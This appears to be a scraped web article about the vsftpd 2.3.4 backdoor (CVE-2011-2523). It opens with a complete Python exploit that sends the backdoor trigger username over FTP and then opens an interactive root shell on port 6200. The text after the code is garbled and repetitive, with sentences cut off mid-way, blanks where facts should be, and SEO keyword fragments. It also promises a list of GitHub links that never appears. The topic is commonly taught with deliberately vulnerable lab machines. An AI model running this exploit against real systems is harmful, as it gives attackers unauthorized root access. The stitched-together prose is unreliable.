import socket import time import telnetlib def exploit(target_ip): # Step 1: Trigger the backdoor on standard FTP port 21 print("[*] Connecting to target FTP...") ftp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_sock.connect((target_ip, 21)) # Read the banner ftp_sock.recv(1024) # Send the trigger username and a fake password ftp_sock.send(b"USER backdoored:)\r\n") ftp_sock.recv(1024) ftp_sock.send(b"PASS password\r\n") # Give the server a brief moment to spawn the shell time.sleep(1) ftp_sock.close() # Step 2: Interact with the spawned shell on port 6200 print("[+] Attempting to connect to backdoor shell on port 6200...") try: shell_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shell_sock.connect((target_ip, 6200)) print("[+] Success! Root shell opened.") # Pass control over to the user via Telnet interactive mode t = telnetlib.Telnet() t.sock = shell_sock t.interact() except Exception as e: print("[-] Connection failed. Target may not be vulnerable.") # Usage example # exploit("192.168.1.50") Use code with caution. 4. Remediation and Modern Context
The script asks for the IP interactively and works even on systems where the FTP banner does not explicitly show the version.
The backdoor immediately opened a listener network socket on TCP port 6200. vsftpd 208 exploit github link
The compromised tarball was , and all modern Linux distributions have long since updated to patched versions (2.3.5 or later). However, the vulnerability remains a classic teaching tool in security courses and is preinstalled on purpose‑vulnerable virtual machines such as Metasploitable 2 .
The confusion often arises from , which contains a famous backdoor and has numerous GitHub repositories and write-ups dedicated to it. Comparison: vsftpd 2.0.8 vs. 2.3.4 The compromised tarball was , and all modern
The following article provides the technical details, history, and relevant GitHub links for the most notorious vsftpd exploit, which is version 2.3.4. The Notorious vsftpd 2.3.4 Backdoor (CVE-2011-2523)
The VSFTPD 2.3.4 vulnerability and exploit are still relevant today. While the vulnerability was patched over 10 years ago, many systems remain unpatched or vulnerable. The compromised tarball was
Because this vulnerability is frequently used in learning environments like Metasploitable 2, there are numerous implementations available on GitHub: